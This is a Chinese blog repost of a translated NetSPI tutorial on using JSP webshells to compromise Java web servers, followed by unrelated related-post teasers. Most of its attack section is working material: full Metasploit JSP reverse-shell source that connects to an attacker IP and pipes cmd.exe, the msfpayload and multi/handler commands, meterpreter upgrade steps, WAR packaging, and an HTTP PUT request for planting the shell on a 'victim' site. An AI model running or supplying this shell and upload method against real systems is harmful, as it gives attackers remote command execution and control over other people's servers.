外国大牛教你玩转JSP Shell

什么是WebShell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器…

[[114327]]

现如今,使用JSP开发的的网站越来越多,很多大公司的数据中心也会使用这种架构。在我的渗透经验之中,拿下JSP网站的主要方法就是上传Shell从而执行命令。在下面的文章中我将举两个JSP shell code的例子,和几个常见的上传shell的方法。

JSP Shell

对于不怎么熟悉Web Shell的人来说,我前文指的JSP Shell是一段”Java Server Page”这段代码可以允许任何指令在服务器上执行。一般来说,Shell通过一个HTML from来接受需要执行的指令。下面,我对于每个例子都会给出基本的Shell代码。我个人比较喜欢用,Metasploit JSP shells,因为它具有很好的稳定性和清爽的界面。

基本JSP shell

这是一个最简单的 JSP Shell,使用方法如下。

(1)保存为cmd.jsp上传到服务器。

(2)访问这个页面,执行命令。

Metasploit JSP Shell

在攻击中使用Metasploit JSP Shell大概需要六步。

(1)使用msfpayload创建一个cmd.jsp

(2)上传cmd.jsp到服务器

(3)运行Metasploit multi-handler

(4)访问cmd.jsp

(5)获得shell

(6)如果是windows,升级到meterpreter shell

创建一个JSP Shell可以使用如下的命令,LHOST代表了自己主机的地址。

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

上面的指令成功执行之后,Metasploit会生cmd.jsp的源代码,有些情况下你可能需要修改其中的一些变量来绕过防火墙的检测。

  1. <%@page import="java.lang.*"%>   
  2. <%@page import="java.util.*"%>   
  3. <%@page import="java.io.*"%>  
  4.  <%@page import="java.net.*"%>  
  5.  <% class StreamConnector extends Thread  
  6.  {   
  7. InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os )   
  8. {   
  9. this.is = is;   
  10. this.os = os;   
  11. }   
  12. public void run()  
  13. {   
  14. BufferedReader in = null;  
  15. BufferedWriter out = null;  
  16. try { in = new BufferedReader( new InputStreamReader( this.is ) );  
  17. out = new BufferedWriter( new OutputStreamWriter( this.os ) );  
  18. char buffer[] = new char[8192];  
  19. int length;  
  20. while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )   
  21. {   
  22. out.write( buffer, 0, length );   
  23. out.flush();  
  24. }  
  25. }  
  26. catch( Exception e ){} try { ifin != null ) in.close();  
  27.  if( out != null ) out.close();   
  28. }   
  29. catch( Exception e ){}  
  30.  }   
  31. try { Socket socket = new Socket( "192.168.100.110", 53 );  
  32.  Process process = Runtime.getRuntime().exec( "cmd.exe" );  
  33. new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();  
  34.  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();   
  35. }   
  36. catch( Exception e ) {}  
  37.  %> 

之后就是把cmd.jsp文件上传到目标服务器。假设上传后的地址是,http://www.victim.com/cmd.jsp之后就开始运用Metasploit multi handler,打开msfconsole使用如下命令。

use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z

最后访问 http://www.victim.com/cmd.jsp ,msfconsole就会受到反弹回来的链接。

你可以通过以下的指令访问这条shell

sessions –I 1

如果目标主机是一个windows主机,可以用以下的指令吧shell升级成一个meter-preter shell

sessions –U 1

打包JSP Shells

有些情况下,需要把cmd.jsp打包成一个WAR文件(比如JBoss).在windows环境下,需要如下几步。

(1)安装JDK

(2)新建 WEB-INF目录

(3)在 WEB-INF/web.xml 中输入如下内容

  1. <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  2.  xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">  
  3. <servlet-name>Command</servlet-name>   
  4. <jsp-file>/cmd.jsp</jsp-file>  
  5. </web-app> 

(4)使用如下命令可以把jsp,文件打包成jar包。

"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp

Shell上传

使用PUT方法

PUT方法是HTTP的一个扩展协议,允许用户向服务器上传文件。很久以前这个漏洞还是很流行的。

基本所有扫描工具都可以,扫描到这个漏洞,也可以通过ncat之类的工具找到这个漏洞。我比较喜欢

使用burp,使用burp检测这个漏洞,需要如下几步。

(1) 进入repeater tab选项卡

(2) 构造如下文件头

PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0

(3) 在文件头下面连续输入两次回车之后输入JSP shell code。

(4) 在burp下提交构造好的包。

上传方式

一般情况下,网站对于上传文件的类型都有很严格的控制,但攻击者仍然有几种方法来绕过他们。这里就不详细叙述了。

发布WAR文件

有一些服务器软件会使用到WAR,其中一些会提供用户上传WAR文件的接口。有些会允许用户使用一些外部源。Josh Abraham 写了一些jBoss metasploit exploits,叫做jboss_maindeployer。这里还有一篇比较不错的paper来讲针对jBoss的攻击。

文件共享

有的时候,网站的主目录会被部署到ftp服务器上,如果能猜到密码或者是ftp使用了默认的密码。就可以通过ftp来上传shell。

其实这是一篇科普文。最后对于文件上传技巧的叙述比较冗长有删节。

原文地址:https://www.netspi.com/blog/entryid/126/hacking-with-jsp-shells

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/135257.html<

(0)
运维的头像运维
上一篇2025-03-01 13:05
下一篇 2025-03-01 13:07

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注